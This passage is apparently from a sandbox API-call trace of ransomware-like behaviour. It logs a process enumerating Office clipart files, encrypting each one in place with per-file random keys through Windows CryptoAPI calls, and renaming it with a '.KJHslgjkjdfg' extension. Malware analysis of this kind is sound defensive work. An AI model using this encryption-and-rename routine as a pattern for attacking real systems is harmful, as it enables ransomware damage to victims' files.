lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.245] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.245] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.245] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13fc, lpOverlapped=0x0) returned 1 [0212.246] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1400, dwBufLen=0x1400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1400) returned 1 [0212.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.246] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1400, lpOverlapped=0x0) returned 1 [0212.247] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.247] SetEndOfFile (hFile=0x130) returned 1 [0212.248] GetProcessHeap () returned 0x990000 [0212.248] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.248] GetProcessHeap () returned 0x990000 [0212.248] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.kjhslgjkjdfg")) returned 1 [0212.249] CloseHandle (hObject=0x130) returned 1 [0212.249] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1 [0212.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.250] GetProcessHeap () returned 0x990000 [0212.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.251] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.251] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.251] GetProcessHeap () returned 0x990000 [0212.251] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.251] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.251] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.251] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.253] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.253] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.253] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.253] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.253] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.253] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x660, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x660, lpOverlapped=0x0) returned 1 [0212.253] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x660, dwBufLen=0x660 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x660) returned 1 [0212.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.253] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x660, lpOverlapped=0x0) returned 1 [0212.253] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.253] SetEndOfFile (hFile=0x130) returned 1 [0212.256] GetProcessHeap () returned 0x990000 [0212.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.256] GetProcessHeap () returned 0x990000 [0212.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.kjhslgjkjdfg")) returned 1 [0212.257] CloseHandle (hObject=0x130) returned 1 [0212.257] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1 [0212.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.258] GetProcessHeap () returned 0x990000 [0212.258] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.258] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.260] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.260] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.260] GetProcessHeap () returned 0x990000 [0212.260] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.260] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.260] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.260] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.260] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.260] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.260] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.261] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.261] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.261] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.261] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5cc, lpOverlapped=0x0) returned 1 [0212.261] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5d0) returned 1 [0212.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.261] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5d0, lpOverlapped=0x0) returned 1 [0212.261] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.261] SetEndOfFile (hFile=0x130) returned 1 [0212.264] GetProcessHeap () returned 0x990000 [0212.264] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.264] GetProcessHeap () returned 0x990000 [0212.264] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.kjhslgjkjdfg")) returned 1 [0212.266] CloseHandle (hObject=0x130) returned 1 [0212.266] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1 [0212.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.267] GetProcessHeap () returned 0x990000 [0212.267] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.267] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.267] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.271] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.272] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.272] GetProcessHeap () returned 0x990000 [0212.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.272] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.272] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.272] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.272] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.272] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.272] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.272] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.272] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.272] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x184c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x184c, lpOverlapped=0x0) returned 1 [0212.273] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1850, dwBufLen=0x1850 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1850) returned 1 [0212.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.273] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1850, lpOverlapped=0x0) returned 1 [0212.273] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.273] SetEndOfFile (hFile=0x130) returned 1 [0212.276] GetProcessHeap () returned 0x990000 [0212.276] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.276] GetProcessHeap () returned 0x990000 [0212.276] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.kjhslgjkjdfg")) returned 1 [0212.277] CloseHandle (hObject=0x130) returned 1 [0212.277] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1 [0212.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.278] GetProcessHeap () returned 0x990000 [0212.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.278] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.278] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0212.280] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.280] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.280] GetProcessHeap () returned 0x990000 [0212.280] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.280] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.280] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.281] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.281] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.281] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.281] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.281] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x543a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x543a, lpOverlapped=0x0) returned 1 [0212.282] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5440, dwBufLen=0x5440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5440) returned 1 [0212.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.282] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5440, lpOverlapped=0x0) returned 1 [0212.282] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.282] SetEndOfFile (hFile=0x130) returned 1 [0212.285] GetProcessHeap () returned 0x990000 [0212.285] HeapFree (in: hHeap=0x990000, 